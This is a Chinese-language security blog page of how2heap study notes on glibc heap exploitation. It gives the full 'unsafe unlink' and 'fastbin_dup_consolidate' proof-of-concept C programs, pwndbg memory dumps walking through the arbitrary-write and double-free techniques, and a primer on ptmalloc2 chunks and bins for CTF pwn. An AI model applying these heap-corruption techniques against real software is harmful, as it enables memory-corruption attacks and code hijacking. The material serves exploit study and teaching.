xfgg


  • Home

  • Tags

  • Categories

  • Archives

unsafe unlink

Posted on 2019-08-12 | In how2heap

unlink

利用损坏的块自由地获取任意写入。

利用free改写全局指针chunk0_ptr达到任意内存写的目的,即不安全取消链接。

0x01源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
//chunk0_ptr[1] = sizeof(size_t);
//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");
fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

0x02代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
首先我们创建两个chunk 分别为chunk_0 和chunk_1

Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <- chunk 0
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <- chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
紧接着我们假设这个时候我们有堆溢出,可以对chunk 0 进行修改,我们伪造个chunk。由于有P->fd->bk != P || P->bk->fd != P) 这样的检查。我们可以利用全局指针 chunk0_ptr构造 fake chunk 来绕过它:

我们伪造 fake chunk 的fd 为 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

我们伪造 fake chunk 的bk 为chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

这个时候

Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x603020: 0x0000000000602058 0x0000000000602060 fd ,bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 <-- prev_size
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
Pwndbg> x/5gx 0x0000000000602058
0x602058: 0x0000000000000000 0x00007ffff7dd2520 <-- fake chunk FD
0x602068 <completed.7557>: 0x0000000000000000 0x0000000000603010 <-- bk pointer
0x602078: 0x0000000000000000
Pwndbg> x/5gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2520 0x0000000000000000 <-- fake chunk BK
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000 <-- fd pointer
0x602080: 0x0000000000000000
Pwndbg> heap
这样就就会变成我 fake chunk 的 FD 块的bk指向 fake chunk, fake chunk 的BK 块 的fd指向fake chunk ,这样就能绕过检查。

另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

libc 使用 size 域的最低 3 位来 存储一些其它信息。相关的掩码信息定义如下:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
从以上代码定义可以推断, size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena

Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
这样,我们去free chunk1,这个时候系统会检测到 fake chunk是释放状态,会触发 unlink ,fake chunk会向后合并, chunk0会被吞并。

unlink 的操作如下:

FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P
这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
最后原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果我们能对堆P进行写入,则就有了任意内存写。如果我们能对堆P进行读取,则就有了信息泄露。

在这个例子中,最后chunk0_ptr 和chunk0_ptr[3] 指向的地方是一样的。相对我们如果对chunk0_ptr[3]修改,也是对chunk0_ptr进行了修改。

在程序中,程序先对chunk0_ptr[3]进行了修改,让它指向了victim_string 字符串的指针。

50 strcpy(victim_string,"Hello!~");
► 51 chunk0_ptr[3] = (uint64_t) victim_string;
(如果这个地址是 got 表地址,我们紧接着就可以 进行 劫持 got 的操作。)

Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> p chunk0_ptr
$8 = (uint64_t *) 0x603010
然后我们对chunk0_ptr 进行操作,就能得到一个地址写。

Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x4141414142424242 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> x/gx chunk0_ptr
0x603010: 0x4141414142424242
Pwndbg>
总结下,如果我们找到一个全局指针,通过unlink的手段,我们就构造一个chunk指向这个指针所指向的位置,然后通过对chunk的操作来进行读写操作。

fastbin_dup_consolidate

Posted on 2019-08-09 | In how2heap

0x01 Double free绕过机制

1
2
3
4
我们上一条 0x02 介绍了一个 fast double free 的绕过机制,通过在free 同一个 chunk中的中间插入对另外一个chunk 的free。
free(p1);
free(p2);
free(p1);

0x02 源代码

结合堆入坑指南看更好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

0x03 代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
 编译后 gdb运行
首先是两个malloc
![](https://xzfile.aliyuncs.com/media/upload/picture/20180816002014-1718ab98-a0a7-1.png)
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0, ###只有在前面一个堆块是空闲的时候才有值,用来只是前一个堆块的大小。前面一个堆块在使用时他的值始终为0
size = 0x51, ### 用来指示当前堆块的大小的(头部加上user data的大小)
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

然后释放 p1,将它加入到 astbins中 ###堆入坑指南有详细介绍
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

当我们在中插入 malloc(0x400) 创建一个 large bins的时候
large bins
chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定 大小范围的块。主要保存大小 1024 字节以上的块。

Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000

我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size 和size字段都被修改了

Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0

0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50, ### 说明前一块是空闲的
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

我们可以看看 large bin的分配
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1

Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0

这个时候,我们既有fastbins中的 chunk p1 也有small bins 的chunk p2。我们可以malloc两次,第一次从fastbins取出,第二次从small bins中取出。且这两块新 chunk 处于同一个位置。

运行结果

1
2
3
4
5
6
7
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010

堆入坑指南

Posted on 2019-08-08 | In 百度学习

原文借鉴:https://www.anquanke.com/post/id/163971

0x01什么是堆

1
2
3
4
5
6
7
首先先明确一下堆的概念,堆不同于栈,堆是动态分配的(由操作系统内核或者堆管理器),只有在程序中需要时才会分配。在 CTF 的 pwn 程序中,栈是程序加载进内存后就会出现,而堆是由 malloc、alloc、realloc 函数分配内存后才会出现。
windows 和 linux 下的堆分配、管理方式都不同,这里主要讲到的是 CTF 中常出现的 linux 下的堆分配知识
先看看堆在虚拟内存中的位置
堆的生长方向是从低地址向高地址生长的,而栈是从高地址向低地址生长的。
实际上堆可以申请到的内存空间比栈要大很多,在 linux 的 4G 的虚拟内存空间里最高可以达到 2.9 G 的空间

对堆操作的是由堆管理器(ptmalloc2)来实现的,而不是操作系统内核。因为程序每次申请或者释放堆时都需要进行系统调用,系统调用的开销巨大,当频繁进行堆操作时,就会严重影响程序的性能

0x02堆的基本结构

1
2
3
4
5
6
7
8
9
10
1.pre size字段。只有在前面一个堆块是空闲的时候才有值,用来只是前一个堆块的大小。前面一个堆块在使用时他的值始终为0
2.size字段,用来指示当前堆块的大小的(头部加上user data的大小)。但是这个字段的最后三位相当于三个flag,有另外的作用
1.NON_MAIN_ARENA 这个堆块是否位于主线程
2.IS_MAPPED 记录当前 chunk 是否是由 mmap 分配的
3.PREV_INUSE 记录前一个 chunk 块是否被分配

这里重点讲解最后一位:用来记录前一个 chunk 块是否被分配,被分配的话这个字段的值为 1,所以经常会在已分配的堆块中的 size 字段中发现值比原来大 1 个字节。
所以前一个堆块的释放与否都和这两个字段(pre_size、size)的值有关,这是因为便于内存的释放操作(free)
4.user data 顾名思义就是用来存放用户数据的。
使用 malloc 函数分配到的内存的返回值指针是指向 user data (用户数据区),在后面的例子中也会讲到这个问题。

0x0364位程序例子

1
2
3
4
5
6
7
8
9
malloc(8)
申请到的堆块总大小为16+8+8+1=0x21
1.第一个 16 字节是系统最小分配的内存,也就是说你如果想要申请的内存小于系统最小分配的内存的话,就会按照最小的内存来分配。

在 64 位系统中这个值是 16 个字节,在 32 位系统中是 8 个字节
例如,如果代码中是 malloc(0) 的话,堆管理器也会分配最小内存空间给你
2.第二个 8 字节是 pre size 字段的大小(32 位的为 4 字节)
3.第三个 8 字节为 size 字段的大小(32 位的为 4 字节)
4.最后一个 1 字节是 PREV_INUSE 的值,只有 0 或 1两个值

0x04指针和地址

1
2
3
4
5
熟练掌握指针的使用在堆的题目分析中还是很有帮助的。下面简单说一下堆分配中的指针会用到了地方。
首先要明确用户在调用 malloc 函数时返回的值为一个指针,指向分配到堆空间(用户数据区),这个在最前面的那个图片也已经标出来了。
有时候题目是以更复杂的情况,用指针来表示某个数据结构的
first chunk(second chunk)表示第一和第二个结构,每个结构中都有一个 point_heap 指针来指向存储用户数据的堆块(chunk)。
左边的这个本身就是一个堆块,用来存放一些全局信息。比如 max_size 存储了能够存储的最大结构数量;exist_num 表示已经存储的结构的数量。

0x05IDA中常见的指针表示形式

1
2
3
4
5
6
7
8
9
10
11
在 IDA 伪代码中的指针形式形如下面的情况:
*(qword_6020A8 + 8)
表示取到 qword_6020A8 这个地址加 8 偏移的那个地址存储的值
汇编代码等同于:
.text:0000000000400F85 mov rax, cs:qword_6020A8
.text:0000000000400F8C mov rax, [rax+8]
简单转化一下,也就是:
*(addr) = [addr]
(qword_6020A8 + 16) 就*代表从 qword_6020A8 这个地址出再往后偏移 16 个字节,取到这个地址存储的值,接着把 1 赋值给这个地方(也就是把 1 存入这个地址)
同样的 *(qword_6020A8 + 24) 就代表偏移 24 个字节处的值为 len
依次类推就可以在不连续的内存空间中,把整个 note 的数据结构存储下来了。

0x06 申请堆块的本质

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
堆管理器 ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。
ptmalloc2 的作用通俗的讲就是相当于一个”中间商”,在程序想要申请向系统申请堆空间时,这里的 ptmalloc2 就会申请一块很大的空间,并根据算法从这些内存中把空间真正的分配给程序。

简单的例子
#include <stdlib.h>
#include <malloc.h>

int main(){

char *p;
p = malloc(10);

return 0;
}
在 gdb 中进行调试,在 call malloc 处下一个断点,在这里使用 vmmap 命令,查看内存分布。可以看到此时并没有发现堆段
单步 n ,vmmap 命令再次查看内存,发现出现了堆段
但是这里我们明明只是申请了 10 字节的大小,但是为什么这里的为什么给了这么大的堆段呢?
0x00602000 ~ 0x00623000
计算一下,刚好是 132 kB
(0x00623000-0x00602000)/1024 = 132 kB
原来这132KB的堆空间叫做arena,此时因为是主线程分配的,所以这个区域叫做 main arena
也就是说这 132 KB 是”厂家”(内核)批发给”中间商”(ptmalloc2)的货物,以便下次程序在向系统申请小内存的时候,直接去”中间商”去取就行了,他就会在这 132KB 中按照要申请”货物”的多少进行分配下去。若”中间商”缺货了话,ptmalloc2 就继续去找”厂家”(系统内核)去取货

查看已分配的堆内存分布
在上面我们动态调试的时候已经执行了 malloc 函数,申请到的堆指针是保存在 eax 中的
我们这里使用下面这个命令来查看内存堆块情况:
x/32gx 0x602010-0x10
32位的程序使用 x/32xw 比较直观一点
这里减去 0x10 表示从堆块的头部开始观察(包含 pre size 和 size 字段)

0x07 main_arena与top chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
main_arena
这个 main_arena 其实就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的,也就是相当于上面所说的”批发”到的一堆货物
因为是主线程分配的,所以叫做main arena,通过增加 program break location 的方式来增加 main arena 的大小。
使用 brk 方式扩展内存的方式这里就不说了,感兴趣可以自己去查一下资料
参考 ctf-wiki:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_overview/#_4
在 gdb 调试中,使用
x/32gx &main_arena
可以看到 main_arena 的内存分配情况。
top chunk
顾名思义,是堆中第一个堆块。相当于一个”带头大哥”,程序以后分配到的内存到要放在他的后面。
在系统当前的所有 free chunk(无论那种 bin),都无法满足用户请求的内存大小的时候,将此 chunk 当做一个应急消防员,分配给用户使用。
简单点说,也就是在程序在向堆管理器申请内存时,没有合适的内存空间可以分配给他,此时就会从 top chunk 上”剪切”一部分作为 chunk 分配给他

0x08 free函数和bins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
bins 这个概念是与内存回收相关的,也就是堆管理器会根据用户已经申请到的内存空间大小进行释放,来决定放入哪类 bins 当作去。bins 直接翻译过来就是”垃圾桶”的意思,所以在系统在决定使用哪个 bins 时可以看作为”垃圾的分类”。
主要的 bins 分为以下几类,这里重点讲解一下 fast bin,因为 fast bin 是使用到的最多的一类,也是其中结构最为简单的。

free函数
free 函数的使用是和 bins 的分配息息相关的。用一个简单的例子来理解一下 free 函数的实现原理。
代码如下:

#include <stdlib.h>
#include <string.h>

int main(){

char *p;

p = malloc(10);

memcpy(p,"Hello",5);
free(p);
return 0;
}
程序将 “Hello” 字符串复制到申请到的堆内存空间中。
编译后用 gdb 调试,在 call memcpy 处下一个断点,单步后将 “Hello” 复制到堆块中
继续使用 x/32gx 0x602010-0x10 命令查看堆块情况
继续单步 n,执行 free 函数之后,查看堆块情况
这里可以看出原本堆块中存储的内容已经被清空,然后查看一下 main_arena 的值,发现其中 +0x8 的偏移处,存储了指向已经 free 了的指针(指向头部,而不是 user data)
小总结
所以调用 free 函数以后程序做了两件事:
1.清空此堆块的 user data
2.将此堆块的指针存储到 main_arena 中了(或是 fast bin 中)

fast bin
顾名思义,就是为了快速重新分配回内存而存在的一个结构。
fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

fast bin 的特性

1.使用单链表来维护释放的堆块
也就是和上图一样,从main_arena 到 free 第一个块的地方是采用单链表形式进行存储的,若还有 free 掉的堆块,则这个堆块的 fk 指针域就会指针前一个堆块。

2.采用后进先出的方式维护链表(类似于栈的结构)
当程序需要重新 malloc 内存并且需要从fastbin 中挑选堆块时,会选择后面新加入的堆块拿来先进行内存分配

如上图,如果程序重新请求和上面的堆块大小一样时候(malloc),堆管理器就会直接使用 fast bin 里的堆块。

这里的话也就是直接使用第二次释放的这个堆块,然后将这个堆块从链表中移除,接着根据堆块的 fk 指针找到这个堆块,此时 main_arena 就指向了这里。也就是恢复到了上面第一个图中的情况。

small bin
